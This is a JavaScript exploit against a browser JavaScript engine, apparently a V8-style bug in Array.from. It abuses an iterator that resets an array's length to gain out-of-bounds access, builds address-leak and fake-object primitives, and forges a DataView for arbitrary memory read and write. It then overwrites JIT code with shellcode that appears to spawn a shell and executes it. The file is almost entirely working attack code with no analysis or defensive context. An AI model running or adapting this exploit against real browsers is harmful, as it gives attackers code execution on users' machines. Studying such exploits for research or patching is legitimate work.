/* utility from bpak */
/* https://github.com/theori-io/zer0con2018_bpak/blob/master/code/exploit.js */
var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}
function hex(lo, hi) {
    return "0x" + hi.toString(16) + lo.toString(16);
}
function trigger(arr){
    let maxSize = 1028 * 8;
    Array.from.call(function() { return arr }, {[Symbol.iterator] : _ => (
        {
            counter : 0,
            next() {
                let result = this.counter++;
                if (this.counter > maxSize) {
                    arr.length = 0;
                    return {done: true};
                } else {
                    return {value: result, done: false};
                }
            }
        }
    ) });
    return arr;
}
// iterator reset the length to 0 just before returning done, so this will crash
// if the backing store was not resized correctly.
var double_array = [1.1, 2.2, 3.3];        // packed
var boxed_array = [1, 2, 3, function(){ }];
//var boxed_array = [0x13371337, 0xcafe, {}, new Function("eval('')")];
var unboxed = trigger(double_array);
var boxed = trigger(boxed_array);
var fake_map_obj = [
    u2d(0, 0),
    u2d(0, 0x0d000439),
    u2d(0, 0),
    u2d(0, 0),
    /* Fake ArrayBuffer object */
    u2d(0, 0),
    u2d(0, 0),
    u2d(0, 0),
    u2d(0, 0),
    u2d(0x43434343, 0x44444444),
    u2d(0x43434343, 0x44444444),
    u2d(0, 0),
    u2d(0, 0),
    u2d(0, 0),
    u2d(0, 0),
].slice(0);
// leak fake_map_obj Object address
boxed[boxed.length - 2] = fake_map_obj;
var fake_map_obj_lo = d2u(unboxed[unboxed.length - 2])[0];
var fake_map_obj_hi = d2u(unboxed[unboxed.length - 2])[1];
fake_map_obj_lo = fake_map_obj_lo - 0x71;
//console.log("fake_map : " + hex(fake_map_obj_lo, fake_map_obj_hi));
// leak func address
var func_obj = Array.prototype.map;
boxed[boxed.length - 2] = func_obj;
var map_obj_lo = d2u(unboxed[unboxed.length - 2])[0];
var map_obj_hi = d2u(unboxed[unboxed.length - 2])[1];
//console.log("Array.prototype.map func : " + hex(map_obj_lo, map_obj_hi));
var fake_dv_obj = [
    u2d(fake_map_obj_lo + 1, fake_map_obj_hi),
    u2d(0, 0),
    u2d(0, 0),
    u2d(fake_map_obj_lo + 0x20 + 1, fake_map_obj_hi),
    u2d(0, 0),
    u2d(0, 0x4000),
].slice(0);
// leak fake data view address
boxed[boxed.length - 2] = fake_dv_obj;
var dv_lo = d2u(unboxed[unboxed.length - 2])[0];
var dv_hi = d2u(unboxed[unboxed.length - 2])[1];
dv_lo = dv_lo - 0x31;
//console.log("DataView : " + hex(dv_lo, dv_hi));

unboxed[unboxed.length - 2] = u2d(dv_lo + 1, dv_hi);
var dv = boxed[boxed.length - 2];
fake_map_obj[8] = u2d(map_obj_lo + 6 * 8 - 1, map_obj_hi);
//DataView.prototype.setUint32.call(dv, 0, 0xdeadbeef, true);
let jit_lo = DataView.prototype.getUint32.call(dv, 0, true) + 0x60;
let jit_hi = DataView.prototype.getUint32.call(dv, 4, true);
//console.log("[+] jit: 0x" + jit_hi.toString(16) + jit_lo.toString(16))
var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b]
//var shellcode = [0xdeadbeef, 0xcafebabe]
fake_map_obj[8] = u2d(jit_lo - 1, jit_hi);
for (let k = 0; k < shellcode.length; ++k) {
    DataView.prototype.setUint32.call(dv, k * 4, shellcode[k], true);
}
console.log("1234");
func_obj();
